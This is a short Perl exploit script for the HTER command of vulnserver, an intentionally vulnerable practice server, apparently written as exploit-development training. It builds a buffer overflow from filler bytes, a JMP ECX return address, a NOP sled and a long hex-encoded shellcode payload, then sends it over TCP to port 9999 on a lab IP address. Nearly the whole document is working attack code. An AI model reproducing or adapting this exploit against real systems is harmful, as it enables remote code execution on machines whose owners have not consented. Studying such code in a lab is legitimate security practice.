vulnserver.exe HTER

hter.pl

#!/usr/bin/perl

use strict;
use warnings;

use Encode qw/encode/;
use Socket;

my $target = inet_aton("192.168.99.144");
my $port = 9999;
my $portaddr = sockaddr_in($port, $target);

my $message = "HTER " .
"A" x 2033 .
"B" x 8 .
#625011BD   FFE1             JMP ECX
"BD115062" .
"\x90" x 8 .
"dbd5d97424f4ba6b314da85d31c9" .
"b1533155170355178386cdaf5da4" .
"c6b29e5417d317b126d34cb219e3" .
"079695884a022dfc4225864bb508" .
"17e7850b9bfad9eba2342ceae329" .
"ddbebc26702ec87349c58292c93a" .
"5294f8ede8cfda0c3c6453162141" .
"2dad913dac67e8be0346c44c5d8f" .
"e3ae28f917522b3e6588bea4cd5b" .
"1800ef88ffc3e3658b8be77858a0" .
"1cf05f66954244a2fd11e5f35bf7" .
"1ae303a8be68a9bdb233a672ffcb" .
"361d88b804822256254beda14a66" .
"493db589aa1472ddfa0e535e91ce" .
"5c8b0cc6fb64332bbbd4f383543f" .
"fcfc4540d695eebdd988b2483fc0" .
"5a1d977c997a201be2a8188babba" .
"9fb42be9b722a0fe0353b72a2404" .
"20a0a567d0b5ef1f712774dffc54" .
"2388a9ab3a5c449594429543dec6" .
"42b0e1c7078cc5d7d10d42838d5b" .
"1c7d6832eed722e9b8bfb3c17ab9" .
"bb0f0d250de6485aa26e5d23de0e" .
"a2fe5a3ee9a2cbd7b4374eba46e2" .
"8dc3c4066e30d4636b7c529801ed" .
"379eb60e12" . 
"\r\n";

print $message;

socket(SOCKET,PF_INET,SOCK_STREAM,getprotobyname('tcp'))
	or die "Can't create a socket $!\n";

connect(SOCKET , $portaddr) 
   	or die "Unable to connect to socket $!\n";

send(SOCKET, $message, 0) == length($message)
	or die "cannot send to $target($port): $!";

close SOCKET or die "close: $!";